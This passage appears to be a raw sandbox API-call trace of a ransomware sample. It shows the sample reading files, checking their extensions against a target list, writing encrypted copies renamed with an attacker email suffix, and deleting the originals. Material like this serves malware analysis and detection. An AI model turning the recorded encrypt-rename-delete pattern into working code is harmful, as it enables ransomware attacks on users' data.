(lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0108.332] lstrlenW (lpString=".jpg") returned 4 [0108.332] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0108.332] lstrcmpiW (lpString1=".exe", lpString2=".BSC") returned 1 [0108.332] lstrlenW (lpString="Setup.exe") returned 9 [0108.332] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0108.332] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=78152) returned 1 [0108.332] CloseHandle (hObject=0x364) returned 1 [0108.332] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe")) returned 0x80 [0108.332] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\setup.exe.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0108.332] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0108.333] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0108.333] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0108.333] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\setup.exe.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0108.333] GetLastError () returned 0x0 [0108.333] ReadFile (in: hFile=0x364, lpBuffer=0x3904020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesRead=0x2e3fecc*=0x13148, lpOverlapped=0x0) returned 1 [0108.628] WriteFile (in: hFile=0x33c, lpBuffer=0x3904020*, nNumberOfBytesToWrite=0x13150, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesWritten=0x2e3fc94*=0x13150, lpOverlapped=0x0) returned 1 [0108.630] ReadFile (in: hFile=0x364, lpBuffer=0x3904020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0108.630] WriteFile (in: hFile=0x33c, lpBuffer=0x3904020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesWritten=0x2e3fc94*=0xe6, lpOverlapped=0x0) returned 1 [0108.631] SetEndOfFile (hFile=0x33c) returned 1 [0108.631] CloseHandle (hObject=0x33c) returned 1 [0108.632] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0108.633] SetEndOfFile (hFile=0x364) returned 1 [0108.634] CloseHandle (hObject=0x364) returned 1 [0108.634] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0108.634] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe")) returned 1 [0108.634] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0108.634] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0108.634] lstrlenW (lpString=".doc") returned 4 [0108.634] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0108.634] lstrlenW (lpString=".docx") returned 5 [0108.634] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0108.634] lstrlenW (lpString=".pdf") returned 4 [0108.634] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0108.634] lstrlenW (lpString=".xls") returned 4 [0108.635] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0108.635] lstrlenW (lpString=".xlsx") returned 5 [0108.635] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0108.635] lstrlenW (lpString=".ppt") returned 4 [0108.635] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0108.635] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0108.635] lstrlenW (lpString=".zip") returned 4 [0108.635] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0108.635] lstrlenW (lpString=".rar") returned 4 [0108.635] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0108.635] lstrlenW (lpString=".bz2") returned 4 [0108.635] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0108.635] lstrlenW (lpString=".7z") returned 3 [0108.635] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0108.635] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0108.635] lstrlenW (lpString=".dbf") returned 4 [0108.635] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0108.635] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0108.635] lstrlenW (lpString=".1cd") returned 4 [0108.635] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0108.635] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0108.635] lstrlenW (lpString=".jpg") returned 4 [0108.635] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0108.635] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0108.635] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0108.635] lstrlenW (lpString=".doc") returned 4 [0108.635] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0108.635] lstrlenW (lpString=".docx") returned 5 [0108.635] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0108.636] lstrlenW (lpString=".pdf") returned 4 [0108.636] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0108.636] lstrlenW (lpString=".xls") returned 4 [0108.636] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0108.636] lstrlenW (lpString=".xlsx") returned 5 [0108.636] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0108.636] lstrlenW (lpString=".ppt") returned 4 [0108.636] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0108.636] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0108.636] lstrlenW (lpString=".zip") returned 4 [0108.636] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0108.636] lstrlenW (lpString=".rar") returned 4 [0108.636] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0108.636] lstrlenW (lpString=".bz2") returned 4 [0108.636] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0108.636] lstrlenW (lpString=".7z") returned 3 [0108.636] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0108.636] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0108.636] lstrlenW (lpString=".dbf") returned 4 [0108.636] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0108.636] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0108.636] lstrlenW (lpString=".1cd") returned 4 [0108.636] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0108.636] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0108.636] lstrlenW (lpString=".jpg") returned 4 [0108.636] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0108.637] lstrcmpiW (lpString1=".dll", lpString2=".BSC") returned 1 [0108.637] lstrlenW (lpString="SetupEngine.dll") returned 15 [0108.637] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0108.637] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=807256) returned 1 [0108.637] CloseHandle (hObject=0x364) returned 1 [0108.637] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll")) returned 0x80 [0108.637] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0108.637] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0108.637] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0108.638] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0108.638] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0109.519] GetLastError () returned 0x0 [0109.519] ReadFile (in: hFile=0x364, lpBuffer=0x3904020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesRead=0x2e3fecc*=0xc5158, lpOverlapped=0x0) returned 1 [0109.669] WriteFile (in: hFile=0x33c, lpBuffer=0x3904020*, nNumberOfBytesToWrite=0xc5160, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesWritten=0x2e3fc94*=0xc5160, lpOverlapped=0x0) returned 1 [0109.681] ReadFile (in: hFile=0x364, lpBuffer=0x3904020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0109.681] WriteFile (in: hFile=0x33c, lpBuffer=0x3904020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesWritten=0x2e3fc94*=0xf2, lpOverlapped=0x0) returned 1 [0109.681] SetEndOfFile (hFile=0x33c) returned 1 [0109.681] CloseHandle (hObject=0x33c) returned 1 [0109.695] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0109.695] SetEndOfFile (hFile=0x364) returned 1 [0109.703] CloseHandle (hObject=0x364) returned 1 [0109.703] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0109.718] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll")) returned 1 [0109.963] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0109.963] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0109.963] lstrlenW (lpString=".doc") returned 4 [0109.963] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0109.963] lstrlenW (lpString=".docx") returned 5 [0109.963] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0109.963] lstrlenW (lpString=".pdf") returned 4 [0109.963] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0109.963] lstrlenW (lpString=".xls") returned 4 [0109.964] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0109.964] lstrlenW (lpString=".xlsx") returned 5 [0109.964] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0109.964] lstrlenW (lpString=".ppt") returned 4 [0109.964] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0109.964] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0109.964] lstrlenW (lpString=".zip") returned 4 [0109.964] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0109.964] lstrlenW (lpString=".rar") returned 4 [0109.964] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0109.964] lstrlenW (lpString=".bz2") returned 4 [0109.964] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0109.964] lstrlenW (lpString=".7z") returned 3 [0109.964] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0109.964] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0109.964] lstrlenW (lpString=".dbf") returned 4 [0109.964] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0109.964] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0109.964] lstrlenW (lpString=".1cd") returned 4 [0109.964] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0109.964] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0109.964] lstrlenW (lpString=".jpg") returned 4 [0109.964] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0109.964] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0109.964] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0109.965] lstrlenW (lpString=".doc") returned 4 [0109.965] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0109.965] lstrlenW (lpString=".docx") returned 5 [0109.965] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0109.965] lstrlenW (lpString=".pdf") returned 4 [0109.965] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0109.965] lstrlenW (lpString=".xls") returned 4 [0109.965] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0109.965] lstrlenW (lpString=".xlsx") returned 5 [0109.965] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0109.965] lstrlenW (lpString=".ppt") returned 4 [0109.965] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0109.965] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0109.965] lstrlenW (lpString=".zip") returned 4 [0109.965] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0109.965] lstrlenW (lpString=".rar") returned 4 [0109.965] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0109.965] lstrlenW (lpString=".bz2") returned 4 [0109.965] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0109.965] lstrlenW (lpString=".7z") returned 3 [0109.965] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0109.965] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0109.965] lstrlenW (lpString=".dbf") returned 4 [0109.965] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0109.965] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0109.965] lstrlenW (lpString=".1cd") returned 4 [0109.965] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0109.966] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0109.966] lstrlenW (lpString=".jpg") returned 4 [0109.966] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0109.966] lstrcmpiW (lpString1=".msu", lpString2=".BSC") returned 1 [0109.966] lstrlenW (lpString="Windows6.0-KB956250-v6001-x86.msu") returned 33 [0109.966] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0109.966] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=2192672) returned 1 [0109.966] CloseHandle (hObject=0x33c) returned 1 [0109.966] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu")) returned 0x80 [0109.967] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0109.967] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id-b4197730.[basecrypt@aol.com].bsc")) returned 1 [0109.967] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0109.968] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fc64 | out: lpNewFilePointer=0x0) returned 1 [0109.968] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fc24 | out: lpNewFilePointer=0x0) returned 1 [0109.968] ReadFile (in: hFile=0x33c, lpBuffer=0x3904058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3fc30, lpOverlapped=0x0 | out: lpBuffer=0x3904058*, lpNumberOfBytesRead=0x2e3fc30*=0x40000, lpOverlapped=0x0) returned 1 [0110.031] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0xb270a, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fc24 | out: lpNewFilePointer=0x0) returned 1 [0110.031] ReadFile (in: hFile=0x33c, lpBuffer=0x3944058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3fc30, lpOverlapped=0x0 | out: lpBuffer=0x3944058*, lpNumberOfBytesRead=0x2e3fc30*=0x40000, lpOverlapped=0x0) returned 1 [0110.506] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2e3fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0110.506] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x1d7520, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fc24 | out: lpNewFilePointer=0x0) returned 1 [0110.506] ReadFile (in: hFile=0x33c, lpBuffer=0x3984058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3fc30, lpOverlapped=0x0 | out: lpBuffer=0x3984058*, lpNumberOfBytesRead=0x2e3fc30*=0x40000, lpOverlapped=0x0) returned 1 [0110.868] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.868] WriteFile (in: hFile=0x33c, lpBuffer=0x3904020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x2e3fca8, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesWritten=0x2e3fca8*=0xc012e, lpOverlapped=0x0) returned 1 [0111.008] SetEndOfFile (hFile=0x33c) returned 1 [0111.008] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x4343230 [0111.035] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fc74 | out: lpNewFilePointer=0x0) returned 1 [0111.035] WriteFile (in: hFile=0x33c, lpBuffer=0x4343230*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3fc80, lpOverlapped=0x0 | out: lpBuffer=0x4343230*, lpNumberOfBytesWritten=0x2e3fc80*=0x40000, lpOverlapped=0x0) returned 1 [0111.036] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0xb270a, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fc74 | out: lpNewFilePointer=0x0) returned 1 [0111.036] WriteFile (in: hFile=0x33c, lpBuffer=0x4343230*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3fc80, lpOverlapped=0x0 | out: lpBuffer=0x4343230*, lpNumberOfBytesWritten=0x2e3fc80*=0x40000, lpOverlapped=0x0) returned 1 [0111.041] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x1d7520, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fc74 | out: lpNewFilePointer=0x0) returned 1 [0111.041] WriteFile (in: hFile=0x33c, lpBuffer=0x4343230*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3fc80, lpOverlapped=0x0 | out: lpBuffer=0x4343230*, lpNumberOfBytesWritten=0x2e3fc80*=0x40000, lpOverlapped=0x0) returned 1 [0111.045] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4343230 | out: hHeap=0x5c0000) returned 1 [0111.046] CloseHandle (hObject=0x33c) returned 1 [0111.366] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0111.367] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0111.367] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0111.367] lstrlenW (lpString=".doc") returned 4 [0111.367] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0111.367] lstrlenW (lpString=".docx") returned 5 [0111.367] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0111.367] lstrlenW (lpString=".pdf") returned 4 [0111.367] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0111.367] lstrlenW (lpString=".xls") returned 4 [0111.367] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0111.367] lstrlenW (lpString=".xlsx") returned 5 [0111.367] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0111.367] lstrlenW (lpString=".ppt") returned 4 [0111.367] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0111.367] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0111.367] lstrlenW (lpString=".zip") returned 4 [0111.367] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0111.367] lstrlenW (lpString=".rar") returned 4 [0111.367] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0111.367] lstrlenW (lpString=".bz2") returned 4 [0111.367] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0111.367] lstrlenW (lpString=".7z") returned 3 [0111.367] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0111.367] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0111.367] lstrlenW (lpString=".dbf") returned 4 [0111.367] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0111.367] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0111.367] lstrlenW (lpString=".1cd") returned 4 [0111.368] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0111.368] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0111.368] lstrlenW (lpString=".jpg") returned 4 [0111.368] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0111.368] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0111.368] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0111.368] lstrlenW (lpString=".doc") returned 4 [0111.368] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0111.368] lstrlenW (lpString=".docx") returned 5 [0111.368] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0111.368] lstrlenW (lpString=".pdf") returned 4 [0111.368] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0111.368] lstrlenW (lpString=".xls") returned 4 [0111.368] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0111.368] lstrlenW (lpString=".xlsx") returned 5 [0111.368] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0111.368] lstrlenW (lpString=".ppt") returned 4 [0111.368] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0111.368] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0111.368] lstrlenW (lpString=".zip") returned 4 [0111.368] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0111.368] lstrlenW (lpString=".rar") returned 4 [0111.368] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0111.368] lstrlenW (lpString=".bz2") returned 4 [0111.368] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0111.368] lstrlenW (lpString=".7z") returned 3 [0111.368] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0111.368] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0111.368] lstrlenW (lpString=".dbf") returned 4 [0111.368] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0111.369] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0111.369] lstrlenW (lpString=".1cd") returned 4 [0111.369] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0111.369] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0111.369] lstrlenW (lpString=".jpg") returned 4 [0111.369] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0111.369] lstrcmpiW (lpString1=".msu", lpString2=".BSC") returned 1 [0111.369] lstrlenW (lpString="Windows6.1-KB958488-v6001-x86.msu") returned 33 [0111.369] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0111.369] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=2141433) returned 1 [0111.369] CloseHandle (hObject=0x33c) returned 1 [0111.369] GetFileAttributesW 